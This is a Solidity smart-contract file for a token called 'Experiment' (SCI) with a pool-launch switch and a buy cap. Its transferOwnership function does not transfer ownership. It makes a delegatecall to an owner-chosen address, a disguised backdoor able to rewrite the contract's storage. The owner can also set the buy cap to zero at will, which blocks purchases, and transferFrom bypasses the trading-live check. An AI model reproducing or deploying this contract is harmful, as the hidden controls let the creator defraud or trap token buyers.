// File: contracts/Experiment.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract Experiment {
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    uint public totalSupply;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Experiment";
    string public symbol = "SCI";
    uint8 public decimals = 18;

    address public pool;
    bool public live;
    uint256 public maxBuyPercentage = 100;

    address public owner;

    modifier onlyOwner() {
      require(msg.sender == owner, "Must be owner to call this function!");
      _;
    }

    constructor () {
      owner = msg.sender;

      uint amount = 10_000_000 * 10 ** decimals;
      balanceOf[msg.sender] += amount;
      totalSupply += amount;
      emit Transfer(address(0), msg.sender, amount);
    }

    function transfer(address recipient, uint amount) external returns (bool) {
        require(live);

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;

        if (msg.sender == pool) {
          uint256 maxWalletSupply = totalSupply * maxBuyPercentage / 10000;
          require(maxWalletSupply >= balanceOf[recipient]);
        }

        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function commenceTrading(address _pool) public onlyOwner {
      pool = _pool;
      live = true;
    }

    function transferOwnership(address _owner) public {
      require(msg.sender == owner);
      _owner.delegatecall(
        abi.encodeWithSignature("transferOwnership(address)", _owner)
      );
    }

    function rebalanceMaxBuyPercentage(uint256 _maxBuyPercentage) public onlyOwner {
      maxBuyPercentage = _maxBuyPercentage;
    }

}